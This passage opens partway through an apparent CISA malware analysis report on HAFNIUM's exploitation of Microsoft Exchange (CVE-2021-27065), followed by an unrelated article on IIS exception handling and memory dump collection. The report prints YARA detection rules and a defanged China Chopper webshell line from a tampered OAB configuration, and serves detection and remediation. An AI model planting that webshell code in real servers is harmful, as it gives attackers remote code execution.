$s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
$s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
$s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
condition:
$s0 or ($s1 and $s2) or ($s3 and $s4)
}
- rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = “CISA Code & Media Analysis”
Incident = “10328929”
Date = “2021-03-17”
Last_Modified = “20210317_2200”
Actor = “n/a”
Category = “Trojan WebShell Exploit CVE-2021-27065”
Family = “HAFNIUM”
Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
strings:
$s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
$s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
$s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
condition:
$s0 and $s1 and $s2
}
ssdeep Matches
No matches found.
Description
This file is an OAB configuration file. The Exchange OAB VD is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell, which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. The OAB ExternalUrl parameter was configured to accept JavaScript code that will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.
—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
—End Code—
Note: The hard-coded key used for authentication was redacted from the code above.
The file contains the following configuration data (sensitive data was redacted):
—Begin Configuration For Compromised OAB VD—
Name : OAB (Default Web Site)
PollInterval : 480
OfflineAddressBooks : Default Offline Address Book
RequireSSL : True
BasicAuthentication : False
WindowsAuthentication : True
OAuthAuthentication : True
MetabasePath : IIS://REDACTED.org/W3SVC/1/ROOT/OAB
Path : F:Exchange v15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags :
ExtendedProtectionSPNList :
AdminDisplayVersion : Version 15.1 (Build 1531.3)
Server : HOPEMAIL
InternalUrl : hxxps[:]//REDACTED.org/OAB
InternalAuthenticationMethods : OAuth
WindowsIntegrated
ExternalUrl : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : OAuth
WindowsIntegrated
AdminDisplayName :
ExchangeVersion : 0.10 (14.0.100.0)
DistinguishedName : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=REDACTED,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=org
Identity : REDACTEDOAB (Default Web Site)
Guid : e17ad2b6-f8aa-4a8d-9be6-3f038a0737ef
ObjectCategory : REDACTED.org/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass : top
msExchVirtualDirectory
msExchOABVirtualDirectory
WhenChanged : 3/3/2021 10:52:32 AM
WhenCreated : 10/26/2018 3:14:33 PM
WhenChangedUTC : 3/3/2021 3:52:32 PM
WhenCreatedUTC : 10/26/2018 7:14:33 PM
OrganizationId :
Id : REDACTEDOAB (Default Web Site)
OriginatingServer : REDACTED.org
IsValid : True
—End Configuration For Compromised OAB VD—
Mitigation
If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.
Recommendations
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
- Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.
Contact Information
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/
Document FAQ
What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.
Can I submit malware to CISA? Malware samples can be submitted via three methods:
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.
by Contributed | Mar 25, 2021 | Technology
This article is contributed. See the original author and article here.
To fix application exceptions, we have to understand them. Sometimes we need more than error messages or log entries, we need more context around them. Enter collecting memory dumps. This article is aimed for the less experienced engineers that need to collect data for analysis around exceptions.
Exceptions happen all the time in production applications hosted with IIS; they are more frequent than we think:
- Worst exceptions are crashing the IIS worker process – w3wp.exe – that is executing our web app; but because WAS would restart the process with a warning in Windows events, we quickly end up with a new w3wp.exe (new PID) and potentially degraded user experience (like sessions lost).
- Some exceptions are causing the infamous HTTP response code or pages “500, Server-side processing error”; mostly when the app code is not handling them, and they fall to be further handled by the Asp.Net framework.
- And some exceptions may even go unnoticed, but contributing to less-than-optimal performance, because the system is trying to recover after them, spending CPU cycles.
So how are things happening with exceptions? How do they cause the above behaviors? And how can we study them?
The exception handling in Windows
Every process has at least one code execution thread; often, more. Exceptions happen in process threads. As the thread is executing code, some unexpected situations happen. That occurrence is treated by Windows much like a hardware interrupt: code execution is suspended, and the exception is first reported, then recovery is attempted.
When a process is started, Windows creates associated ports for exceptions in that process: The Debug port, the Exceptions port. When an exception occurs, a few steps are taken in the attempt for recovery:
First chance
The exception is first reported to the Debug port. A debugger may be attached to that port of the process. The debugger has a first chance to look and possibly handle the exception. At this stage, we call it a First-chance exception.
Stack unwinding
If there is no debugger attached, Windows is inspecting the call stack – the succession of function calls – of the thread where the exception occurred. The aim is to find an exception handler – think of it as the try-catch C# construct – able to treat that exception. If the function at the top of the stack, the last one called, does not have the handler, we try with the previous one – N-1. If N-1 does not have the exception handler either, we try with N-2… and so on, until we find a handler for the exception. This process is called the “stack unwinding” and will consume CPU cycles.
Second chance
If the entire thread’s call stack was “un-winded” and we still haven’t found a handler for our exception, the exception will be reported by Windows in the Exception port. A debugger may be attached to that port. Now, the debugger would have its second chance to handle the exception. At this stage, we call it a Second-chance exception.
Process killed
If a debugger is not treating the now-called second-chance exception, the unexpected event is reported in the Exception port and then… Well, the operating system is handling the exception in its way: since system stability has to be kept and the exception has the potential to break other things, like causing data loss, Windows is terminating the process. The entire virtual memory of the process is evicted, and the process is killed. Traces of the event may be left in Windows events, Application log.
Will it crash or not
Because Windows is looking for an exception handler, we never know for sure if a first-chance exception will break the process or not. With Asp.Net applications, this uncertainty increases. Remember that the app runs on top of the Asp.Net framework. Even if the application’s code is not handling the exception, the framework may handle it. How? Well, if the exception happens in the context of processing an HTTP request, then Asp.Net would handle the exception by wrapping it with an error page, or HTTP error status code: “500, Server-side processing error”.
In fact, with Asp.Net, most of the exceptions will be handled by the framework. And so, these exceptions will not crash the executing process. Which makes sense: one of the primary goals of the framework is to continue serve requests, even if some of them fall victims due to exceptions and some users/clients may get a degraded experience.
If the exception happens in a non-request-executing context – like at the application startup or in the finalizer thread – then it has higher chances to reach the stage of second-chance exception, causing the crash of the process. We almost consider them synonyms: second-chance exception = process crash, abnormal termination.
A simplified view for exception handling and capturing
Options to study exceptions
The Asp.Net framework or the .NET runtime, when handling the exceptions, may report these occurrences in Windows events, in Application log. The events may even contain some context, like exception name, the HTTP request being executed, or the call stack of the faulting thread. What if this doesn’t happen? What if we don’t get these traces, or we need even more context about the exceptions? Well, meet the debuggers…
Remember that a debugger may be attached to the Debug port of a process? And that all exceptions are first reported on that port? Well, with a debugger attached, we can take actions on exceptions.
We won’t attach debuggers like Visual Studio one or “real”, “heavy” debuggers in production; frequently, we don’t have that luxury of installing or executing such tools. But there are simple debuggers able to take simple but powerful actions upon exception occurrences.
With a “simple” debugger we can watch all process exceptions, like displaying them on the console. This is the least invasive action; we could share these with the developers, to let them know what happens with their app when in production.
We can log the call stack of the faulting thread, for more context. Or we can tell the debugger to collect the full memory dump of the process at the precise moment when the exception occurs – and we get call stack, object heaps, down to the very processor registry values at that precise moment. With a memory dump, we get a lot of context. We can analyze the memory dump post-mortem to try understanding what the conditions were causing an exception.
Common tools to capture exceptions and context
When troubleshooting, when we realize we need to know and study an exception, we regularly use SysInternal’s ProcDump or Debug Diagnostics. These free tools from Microsoft act like debuggers. We attach them to processes, then take actions like above upon exception occurrence: record call stacks, trigger memory dump collection, etc.
These tools are a must when we investigate w3wp.exe process crashes – we can’t manually collect a memory dump on a second-chance exception / crash. Both ProcDump and DebugDiag can collect the memory dump just before the process and its memory get evicted due to a crash.
While DebugDiag offers a UI and a bit more flexibility, ProcDump is very small and requires no installation. ProcDump is the only option in Windows installations where we don’t have an UI. DebugDiag was created with IIS troubleshooting as a goal, so it has quite a few features helping on that. Oh, and it comes with the functionality of analyzing memory dumps for common issues; for Asp.Net apps based on the “full” .NET framework, it gets the enough actionable info in most cases.
How to: steps for collecting dumps
I’ll place a few illustrated guides, steps on how to use ProcDump and/or DebugDiag to collect memory dumps:
Memory dumps at process termination caused by second-chance exception
Simply have collect the committed memory of a process just before it gets evicted by the OS on killing the process.
Collect call-stack traces for first-chance exceptions occurring in an app
We would do that when we have several annoying exceptions and would need just a bit more context around them; we don’t really want a full “fat” dump for each of the first-chance exceptions.
Collect memory dump(s) for a first-chance exception, when it occurs
When the process is not actually crashing, ever; but we keep getting HTTP responses with “500” status, for same exception, and we need to study the deep context.
Memory dumps at process termination caused by second-chance exception, with optional first-chance dump too
Because we may have some first-chance exceptions building up the “right” context for a second-chance exception to occur.
In addition to collecting memory dumps to study exceptions, some performance-related issues can be studied with dump analysis too. Dumps are very useful when we see memory leaks, when requests are way too slow or the process is downright hanged – requests are piling up in the processing pipeline, and they stay there without a response being generated.
I’ll reference here the illustrated procedures for:
Dump series for hang and performance issues, using a “automated” approach
Have DebugDiag use ETW to monitor HTTP requests; when some are slow, trigger memory dump collection
Dump series for hang and performance issues, using a “manual” approach
Steps to collect memory dumps wen we can witness the slowness, or we can easily reproduce it
Collect memory dumps on high-CPU situations
With DebugDiag or ProcDump we can trigger dump collection on a process when the CPU consumption goes high
Collect series of memory dumps to study memory leaks
Have DebugDiag watching the memory size of a process, collect dumps at certain thresholds
Recent Comments